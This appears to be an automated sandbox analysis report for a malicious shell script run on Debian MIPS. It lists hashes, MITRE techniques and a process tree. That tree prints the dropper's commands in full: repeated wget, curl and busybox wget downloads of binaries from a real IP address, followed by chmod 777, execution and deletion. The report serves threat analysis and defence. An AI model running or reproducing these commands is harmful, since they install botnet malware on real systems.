cc97010efb3b0f4c4d990c396c28ecd5320f4c8c64c57eb78fbaac0848ee65e1

Analysis

max time kernel
75s
max time network
77s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
08/11/2024, 03:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cc97010efb3b0f4c4d990c396c28ecd5320f4c8c64c57eb78fbaac0848ee65e1.sh
Size 10KB
Sample241108-edre7avdpg
SHA256 cc97010efb3b0f4c4d990c396c28ecd5320f4c8c64c57eb78fbaac0848ee65e1
MD5 f284f94ebce558c1c72fa47a20d32aeb
SHA1 0b93c10c9bd334f08220005e4b627e85b5d47e86
SHA512 6638219049c6d27ddfb45b671b31723cc9d0e44919bb78c686b4ec31f1fddb079ba0bf3348cfd372c3d7ae1702e0b1feb13e449c1b9921b763510743d58001b6
SSDEEP 192:oJ2dt9oJCaxrVBsgq3b/vnfochS2Nl9MILZxrVBsgdNl9MI9vnfoc0dt9oJCq:oJZwLFS2Nl9MIpNl9MIV5
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
803	chmod
938	chmod
944	chmod
748	chmod
914	chmod
926	chmod
896	chmod
732	chmod
809	chmod
920	chmod
956	chmod
779	chmod
878	chmod
902	chmod
962	chmod
829	chmod
884	chmod
890	chmod
932	chmod
950	chmod
974	chmod
739	chmod
860	chmod
866	chmod
872	chmod
908	chmod
968	chmod
854	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
749	baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
864	curl
865	busybox
909	9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
942	curl
945	baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
743	wget
941	wget
943	busybox
905	wget
867	9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
907	busybox
910	rm
744	curl
753	rm
863	wget
868	rm
906	curl
946	rm
745	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN	curl
File opened for modification	/tmp/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac	curl
File opened for modification	/tmp/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN	curl
File opened for modification	/tmp/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm	curl
File opened for modification	/tmp/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi	curl
File opened for modification	/tmp/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz	curl
File opened for modification	/tmp/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ	curl
File opened for modification	/tmp/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS	curl
File opened for modification	/tmp/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ	curl
File opened for modification	/tmp/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi	curl
File opened for modification	/tmp/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl	curl
File opened for modification	/tmp/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac	curl
File opened for modification	/tmp/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS	curl
File opened for modification	/tmp/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF	curl
File opened for modification	/tmp/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA	curl
File opened for modification	/tmp/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF	curl
File opened for modification	/tmp/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz	curl
File opened for modification	/tmp/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc	curl
File opened for modification	/tmp/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS	curl
File opened for modification	/tmp/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc	curl
File opened for modification	/tmp/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS	curl
File opened for modification	/tmp/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75	curl
File opened for modification	/tmp/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75	curl
File opened for modification	/tmp/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs	curl
File opened for modification	/tmp/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl	curl
File opened for modification	/tmp/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm	curl
File opened for modification	/tmp/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs	curl
File opened for modification	/tmp/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA	curl

/tmp/cc97010efb3b0f4c4d990c396c28ecd5320f4c8c64c57eb78fbaac0848ee65e1.sh
/tmp/cc97010efb3b0f4c4d990c396c28ecd5320f4c8c64c57eb78fbaac0848ee65e1.sh
1⤵
PID:701
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  PID:730
- /bin/chmod
  chmod 777 pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  ./pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  - Executes dropped EXE
  PID:733
- /bin/rm
  rm pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  PID:735
- /usr/bin/wget
  wget http://216.126.231.240/bins/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  PID:736
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  PID:738
- /bin/chmod
  chmod 777 LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  ./LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  PID:742
- /usr/bin/wget
  wget http://216.126.231.240/bins/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - System Network Configuration Discovery
  PID:743
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  ./baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:749
- /bin/rm
  rm baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - System Network Configuration Discovery
  PID:753
- /usr/bin/wget
  wget http://216.126.231.240/bins/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  PID:773
- /bin/chmod
  chmod 777 CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  ./CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  PID:784
- /usr/bin/wget
  wget http://216.126.231.240/bins/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  PID:802
- /bin/chmod
  chmod 777 EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  ./EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  PID:805
- /usr/bin/wget
  wget http://216.126.231.240/bins/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  PID:808
- /bin/chmod
  chmod 777 KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  ./KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  PID:811
- /usr/bin/wget
  wget http://216.126.231.240/bins/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  PID:822
- /bin/chmod
  chmod 777 bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  ./bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  PID:833
- /usr/bin/wget
  wget http://216.126.231.240/bins/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  PID:853
- /bin/chmod
  chmod 777 iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  ./iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  PID:856
- /usr/bin/wget
  wget http://216.126.231.240/bins/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  PID:859
- /bin/chmod
  chmod 777 zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  ./zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  PID:862
- /usr/bin/wget
  wget http://216.126.231.240/bins/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - System Network Configuration Discovery
  PID:863
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - System Network Configuration Discovery
  PID:865
- /bin/chmod
  chmod 777 9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  ./9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:867
- /bin/rm
  rm 9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - System Network Configuration Discovery
  PID:868
- /usr/bin/wget
  wget http://216.126.231.240/bins/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  PID:871
- /bin/chmod
  chmod 777 d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  ./d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  PID:874
- /usr/bin/wget
  wget http://216.126.231.240/bins/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  PID:877
- /bin/chmod
  chmod 777 3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  ./3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm 3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  PID:880
- /usr/bin/wget
  wget http://216.126.231.240/bins/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  PID:883
- /bin/chmod
  chmod 777 vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  ./vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  PID:886
- /usr/bin/wget
  wget http://216.126.231.240/bins/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  PID:889
- /bin/chmod
  chmod 777 4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  ./4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm 4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  PID:895
- /bin/chmod
  chmod 777 iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  ./iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
  2⤵
  PID:898
- /usr/bin/wget
  wget http://216.126.231.240/bins/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  PID:901
- /bin/chmod
  chmod 777 zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  ./zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
  2⤵
  PID:904
- /usr/bin/wget
  wget http://216.126.231.240/bins/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/chmod
  chmod 777 9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  ./9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:909
- /bin/rm
  rm 9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
  2⤵
  - System Network Configuration Discovery
  PID:910
- /usr/bin/wget
  wget http://216.126.231.240/bins/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  PID:913
- /bin/chmod
  chmod 777 bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  ./bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
  2⤵
  PID:916
- /usr/bin/wget
  wget http://216.126.231.240/bins/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  PID:919
- /bin/chmod
  chmod 777 3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  ./3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm 3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
  2⤵
  PID:922
- /usr/bin/wget
  wget http://216.126.231.240/bins/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  PID:925
- /bin/chmod
  chmod 777 vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  ./vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
  2⤵
  PID:928
- /usr/bin/wget
  wget http://216.126.231.240/bins/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  PID:931
- /bin/chmod
  chmod 777 4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  ./4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
  2⤵
  PID:934
- /usr/bin/wget
  wget http://216.126.231.240/bins/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  PID:937
- /bin/chmod
  chmod 777 d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  ./d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
  2⤵
  PID:940
- /usr/bin/wget
  wget http://216.126.231.240/bins/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - System Network Configuration Discovery
  PID:941
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - System Network Configuration Discovery
  PID:943
- /bin/chmod
  chmod 777 baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  ./baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:945
- /bin/rm
  rm baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
  2⤵
  - System Network Configuration Discovery
  PID:946
- /usr/bin/wget
  wget http://216.126.231.240/bins/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
